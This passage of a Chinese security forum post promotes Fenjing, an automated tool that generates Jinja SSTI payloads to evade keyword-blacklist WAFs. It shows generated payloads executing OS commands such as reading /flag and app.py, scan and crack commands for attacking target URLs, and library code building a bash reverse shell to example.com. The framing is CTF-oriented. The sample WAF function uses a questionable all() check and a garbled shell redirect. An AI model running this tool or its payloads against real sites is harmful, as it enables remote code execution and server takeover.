


```
$>> sleep 5
INFO:[payload_gen] | Great, integer(33) can be (11a+11a+11a)
INFO:[payload_gen] | Great, integer(53) can be (11a+11a+11a+11a+bb+1a+1a+1a)
INFO:[payload_gen] | Great, string("__import__('os').popen('sleep 5')") can be (((((lipsum())|urlencode|first)+(dict(c
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('sleep 5')")
INFO:[payload_gen] | Great, we generate os_popen_obj('sleep 5')
INFO:[payload_gen] | Great, we generate os_popen_read('sleep 5')
```

反弹shell也是可以的，这里就不放出来了

也测试了比较难的web369，这题是可以回显的

```
$>> cat /flag
INFO:[payload_gen] | Great, string("__import__('os').popen('cat /flag')") can be (((((lipsum())|urlencode|first)+(dict(c
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('cat /flag')")
INFO:[payload_gen] | Great, we generate os_popen_obj('cat /flag')
INFO:[payload_gen] | Great, we generate os_popen_read('cat /flag')
```

用户反馈的waf

所有黑名单如下：

```
blacklist = ['_', '"', "'", '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace', 'open', 'read', '\\', 'self', 'mro', 'base',
'global', 'init', '/', '00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include', 'request', '{', '}', '"', 'config', '=']
```

在改进后也实现了全自动绕过

```
$>> cat app.py
INFO:[payload_gen] | Great, string("__import__('os').popen('cat app.py')") can be (((((lipsum())|map(((lipsum|string|l
INFO:[payload_gen] | Great, we generate eval("__import__('os').popen('cat app.py')")
INFO:[payload_gen] | Great, we generate os_popen_obj('cat app.py')
INFO:[payload_gen] | Great, we generate os_popen_read('cat app.py')
```

安装

支持使用以下方法安装：

使用pip安装运行

```
pip install fenjing
python -m fenjing webui
```

下载并运行docker镜像

```
docker pull marven11/fenjing
docker run --net host -it marven11/fenjing webui
```

使用

启动网页UI，只需要 `python -m fenjing webui` 然后访问 `http://127.0.0.1:11451` (`http://127.0.0.1:11451`)即可

如果网站的HTML中含有可以攻击的表单元素，直接使用 `python -m fenjing scan --url 'http://xxx/'` 攻击即可

如果没有则可以手动指定提交方式 (GET/POST) 与字段名：`python -m fenjing crack --url 'http://xxx/' --method GET --inputs name`

也可以作为库导入后手动为其提供WAF函数，让其自动分析，解决无法通过常规方式提交payload的题目：

```
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
        "[", "'", '"', "-", ".", "+", "~", "{",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
        "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
    ]
    return all(word in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0&1\"")

    print(f"{shell_payload}")
```

所有使用方式详见项目Github主页 (<https://github.com/Marven11/Fenjing>)

情景

梵靖针对这一类常规的SSTI题目设计：对用户提供的payload进行正则匹配（或字符串匹配），匹配到危险内容则返回特定的页面，没有匹配到危险内容则将payload拼接到模板中渲染。

因为我们可以很轻松地在payload中构建多条表达式/语句，不难想到我们可以通过类似自动构建语法树的方式全自动地生成payload。

而且因为WAF函数仅仅是一个正则表达式匹配，我们可以确认其拥有幂等性等性质，这大大简化了绕过WAF的工作。

支持项目

梵靖是根据上方提到的情景设计的，如果发现了其应该解出但无法解出的题目，欢迎到Github Issues (<https://github.com/Marven11/Fenjing/issues>)提交反馈。

打赏 关注 | 1 点击收藏 | 0

上一篇: [CVE-2022-47966 SA... \(/t/12584\)](#)

下一篇: [hyorm, 一款自研java or... \(/t/12587\)](#)

0 条回复

动动手指，沙发就是你的了！

[登录](https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Ffxz.aliyun.com%2Ft%2F12586&from_type=xianzhi) (https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Ffxz.aliyun.com%2Ft%2F12586&from_type=xianzhi) 后跟帖